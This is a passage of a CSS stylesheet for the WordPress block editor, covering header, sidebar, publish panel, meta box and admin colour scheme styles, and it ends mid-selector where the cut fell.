.show-icon-labels.interface-pinned-items{
  border-bottom:1px solid #ccc;
  display:block;
  margin:0 -12px;
  padding:6px 12px 12px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon{
  justify-content:flex-start;
  margin:0;
  padding:6px 6px 6px 8px;
  width:14.625rem;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{
  display:block;
  max-width:24px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{
  padding-left:40px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{
  margin-right:8px;
}

@media (min-width:600px){
  .edit-post-header__post-preview-button{
    display:none;
  }
}

.is-distraction-free .interface-interface-skeleton__header{
  border-bottom:none;
}
.is-distraction-free .edit-post-header{
  background-color:#fff;
  border-bottom:1px solid #e0e0e0;
  position:absolute;
  width:100%;
}
.is-distraction-free .edit-post-header>.edit-post-header__settings>.edit-post-header__post-preview-button{
  visibility:hidden;
}
.is-distraction-free .edit-post-header>.edit-post-header__settings>.editor-preview-dropdown,.is-distraction-free .edit-post-header>.edit-post-header__settings>.interface-pinned-items,.is-distraction-free .edit-post-header>.edit-post-header__toolbar .editor-document-tools__document-overview-toggle{
  display:none;
}
.is-distraction-free .interface-interface-skeleton__header:focus-within{
  opacity:1 !important;
}
.is-distraction-free .interface-interface-skeleton__header:focus-within div{
  transform:translateX(0) translateZ(0) !important;
}
.is-distraction-free .components-editor-notices__dismissible{
  position:absolute;
  z-index:35;
}

.edit-post-fullscreen-mode-close.components-button{
  display:none;
}
@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button{
    align-items:center;
    align-self:stretch;
    background:#1e1e1e;
    border:none;
    border-radius:0;
    color:#fff;
    display:flex;
    height:61px;
    margin-bottom:-1px;
    position:relative;
    width:60px;
  }
  .edit-post-fullscreen-mode-close.components-button:active{
    color:#fff;
  }
  .edit-post-fullscreen-mode-close.components-button:focus{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:before{
    border-radius:4px;
    bottom:10px;
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;
    content:"";
    display:block;
    left:9px;
    position:absolute;
    right:9px;
    top:9px;
    transition:box-shadow .1s ease;
  }
}
@media (min-width:782px) and (prefers-reduced-motion:reduce){
  .edit-post-fullscreen-mode-close.components-button:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:782px){
  .edit-post-fullscreen-mode-close.components-button:hover:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575;
  }
  .edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{
    box-shadow:none;
  }
  .edit-post-fullscreen-mode-close.components-button:focus:before{
    box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a, inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  }
}
.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{
  border-radius:2px;
  height:36px;
  margin-top:-1px;
  object-fit:cover;
  width:36px;
}

.edit-post-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-post-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-post-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-post-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-post-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.edit-post-layout__metaboxes{
  clear:both;
  flex-shrink:0;
}

.edit-post-layout .components-editor-notices__snackbar{
  bottom:40px;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}

.is-distraction-free .components-editor-notices__snackbar{
  bottom:20px;
}

.edit-post-layout .components-editor-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .edit-post-layout .components-editor-notices__snackbar{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-post-layout .components-editor-notices__snackbar{
    left:160px;
  }
}
.folded .edit-post-layout .components-editor-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .folded .edit-post-layout .components-editor-notices__snackbar{
    left:36px;
  }
}

body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{
  left:0 !important;
}

.edit-post-layout .editor-post-publish-panel{
  bottom:0;
  left:0;
  overflow:auto;
  position:fixed;
  right:0;
  top:46px;
  z-index:100001;
}
@media (min-width:782px){
  .edit-post-layout .editor-post-publish-panel{
    animation:edit-post-post-publish-panel__slide-in-animation .1s forwards;
    border-left:1px solid #ddd;
    left:auto;
    top:32px;
    transform:translateX(100%);
    width:281px;
    z-index:99998;
  }
}
@media (min-width:782px) and (prefers-reduced-motion:reduce){
  .edit-post-layout .editor-post-publish-panel{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
@media (min-width:782px){
  body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel{
    top:0;
  }
  [role=region]:focus .edit-post-layout .editor-post-publish-panel{
    transform:translateX(0);
  }
}

@keyframes edit-post-post-publish-panel__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
.edit-post-layout .editor-post-publish-panel__header-publish-button{
  justify-content:center;
}

.edit-post-layout__toggle-entities-saved-states-panel,.edit-post-layout__toggle-publish-panel,.edit-post-layout__toggle-sidebar-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  bottom:auto;
  box-sizing:border-box;
  display:flex;
  height:auto !important;
  justify-content:center;
  left:auto;
  padding:24px;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:280px;
  z-index:100000;
}

.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__sidebar:focus .edit-post-layout__toggle-sidebar-panel,.interface-interface-skeleton__sidebar:focus-within .edit-post-layout__toggle-sidebar-panel{
  bottom:0;
  top:auto;
}

.edit-post-layout .entities-saved-states__panel-header{
  height:61px;
}

.edit-post-meta-boxes-area{
  position:relative;
}
.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{
  box-sizing:initial;
}
.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{
  box-sizing:border-box;
}
.edit-post-meta-boxes-area .postbox-header{
  border-bottom:0;
  border-top:1px solid #ddd;
}
.edit-post-meta-boxes-area #poststuff{
  margin:0 auto;
  min-width:auto;
  padding-top:0;
}
.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{
  box-sizing:border-box;
  color:inherit;
  font-weight:600;
  outline:none;
  padding:0 24px;
  position:relative;
  width:100%;
}
.edit-post-meta-boxes-area .postbox{
  border:0;
  color:inherit;
  margin-bottom:0;
}
.edit-post-meta-boxes-area .postbox>.inside{
  color:inherit;
  margin:0;
  padding:0 24px 24px;
}
.edit-post-meta-boxes-area .postbox .handlediv{
  height:44px;
  width:44px;
}
.edit-post-meta-boxes-area.is-loading:before{
  background:#0000;
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.edit-post-meta-boxes-area .components-spinner{
  position:absolute;
  right:20px;
  top:10px;
  z-index:5;
}
.edit-post-meta-boxes-area .is-hidden{
  display:none;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{
  border:1px solid #757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{
  background:#fff;
  border-color:#757575;
}
.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{
  margin:-3px -4px;
}

.edit-post-meta-boxes-area__clear{
  clear:both;
}

.components-panel__header.edit-post-sidebar__panel-tabs{
  padding-left:0;
  padding-right:16px;
}
.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{
  height:24px;
  min-width:24px;
  padding:0;
}
@media (min-width:782px){
  .components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{
    display:flex;
  }
}

.edit-post-sidebar__panel{
  margin-top:-1px;
}

.edit-post-post-format,.edit-post-post-slug{
  align-items:stretch;
  display:flex;
  flex-direction:column;
}

.edit-post-post-visibility__dialog .editor-post-visibility{
  margin:8px;
  min-width:248px;
}

h2.edit-post-template-summary__title{
  font-weight:500;
  line-height:24px;
  margin:0 0 4px;
}

.edit-post-text-editor{
  background-color:#fff;
  flex-grow:1;
  position:relative;
  width:100%;
}
.edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){
  border:1px solid #949494;
  border-radius:0;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:2.5em;
  font-weight:400;
  line-height:1.4;
  max-width:none;
  padding:16px;
}
@media (min-width:600px){
  .edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){
    padding:24px;
  }
}
.edit-post-text-editor .editor-post-title.is-raw-text textarea:focus,.edit-post-text-editor .editor-post-title:not(.is-raw-text):focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-post-text-editor__body{
  margin-left:auto;
  margin-right:auto;
  max-width:1080px;
  padding:0 12px 12px;
  width:100%;
}
@media (min-width:960px){
  .edit-post-text-editor__body{
    padding:0 24px 24px;
  }
}

.edit-post-text-editor__toolbar{
  background:#fffc;
  display:flex;
  left:0;
  padding:4px 12px;
  position:sticky;
  right:0;
  top:0;
  z-index:1;
}
@media (min-width:600px){
  .edit-post-text-editor__toolbar{
    padding:12px;
  }
}
@media (min-width:960px){
  .edit-post-text-editor__toolbar{
    padding:12px 24px;
  }
}
.edit-post-text-editor__toolbar h2{
  color:#1e1e1e;
  font-size:13px;
  line-height:36px;
  margin:0 auto 0 0;
}

.edit-post-visual-editor{
  background-color:#ddd;
  display:flex;
  flex:1 0 auto;
  flex-flow:column;
  position:relative;
}
.edit-post-visual-editor:not(.has-inline-canvas){
  overflow:hidden;
}
.edit-post-visual-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:6px 12px;
}
.edit-post-visual-editor .components-button.has-icon{
  padding:6px;
}

.edit-post-visual-editor__content-area{
  box-sizing:border-box;
  display:flex;
  flex-grow:1;
  height:100%;
  position:relative;
  width:100%;
}

.edit-post-welcome-guide,.edit-template-welcome-guide{
  width:312px;
}
.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-template-welcome-guide .components-button svg{
  fill:#fff;
}

.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .edit-post-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .edit-post-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  min-height:100px;
}
.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{
  width:100%;
}
@keyframes edit-post__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
body.js.block-editor-page{
  background:#fff;
}
body.js.block-editor-page #wpcontent{
  padding-left:0;
}
body.js.block-editor-page #wpbody-content{
  padding-bottom:0;
}
body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{
  display:none;
}
body.js.block-editor-page .a11y-speak-region{
  left:-1px;
  top:-1px;
}
body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.block-editor-page #wpwrap{
  overflow-y:auto;
}
@media (min-width:782px){
  .block-editor-page #wpwrap{
    overflow-y:initial;
  }
}

.components-modal__frame,.edit-post-header,.edit-post-sidebar,.edit-post-text-editor,.editor-post-publish-panel{
  box-sizing:border-box;
}
.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-post-header *,.edit-post-header :after,.edit-post-header :before,.edit-post-sidebar *,.edit-post-sidebar :after,.edit-post-sidebar :before,.edit-post-text-editor *,.edit-post-text-editor :after,.edit-post-text-editor :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before{
  box-sizing:inherit;
}

@media (min-width:600px){
  .block-editor__container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .block-editor__container{
    min-height:calc(100vh - 32px);
  }
  body.is-fullscreen-mode .block-editor__container{
    min-height:100vh;
  }
}
.block-editor__container img{
  height:auto;
  max-width:100%;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}

.interface-interface-skeleton__sidebar{
  border-left:none;
}
@media (min-width:782px){
  .is-sidebar-opened .interface-interface-skeleton__sidebar{
    border-left:1px solid #e0e0e0;
    overflow:hidden scroll;
  }
}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-right:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-right:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-left:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-left:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-right:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-left:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-left:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:300px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.edit-post-header{align-items:center;background:#fff;display:flex;flex-wrap:wrap;height:60px;justify-content:space-between;max-width:100vw}@media (min-width:280px){.edit-post-header{flex-wrap:nowrap}}.edit-post-header__toolbar{align-items:center;display:flex;flex-grow:3;flex-shrink:8;overflow:hidden;padding:2px 0}.edit-post-header__toolbar .table-of-contents{display:none}@media (min-width:600px){.edit-post-header__toolbar .table-of-contents{display:block}}.edit-post-header__toolbar .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.edit-post-header__toolbar .selected-block-tools-wrapper:after{background-color:#ddd;content:"";height:24px;margin-left:8px;width:1px}.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group{border-right:none}.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.edit-post-header__toolbar .selected-block-tools-wrapper.is-collapsed{display:none}.edit-post-header__block-tools-toggle{margin-left:2px}.edit-post-header__center{display:flex;flex-grow:1;justify-content:center}.edit-post-header__center.is-collapsed{display:none}.edit-post-header__settings{align-items:center;display:inline-flex;flex-wrap:nowrap;gap:8px;padding-right:4px}@media (min-width:600px){.edit-post-header__settings{padding-right:8px}}.edit-post-header__dropdown .components-button.has-icon,.show-icon-labels .edit-post-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{width:auto}.edit-post-header__dropdown .components-button.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{display:none}.edit-post-header__dropdown .components-button.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{content:attr(aria-label)}.edit-post-header__dropdown .components-button.has-icon[aria-disabled=true],.show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{background-color:initial}.edit-post-header__dropdown .is-tertiary:active,.show-icon-labels .edit-post-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{background-color:initial;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.edit-post-header__dropdown .components-button.has-icon.button-toggle svg,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg{display:block}.edit-post-header__dropdown .components-button.has-icon.button-toggle:after,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle:after,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items 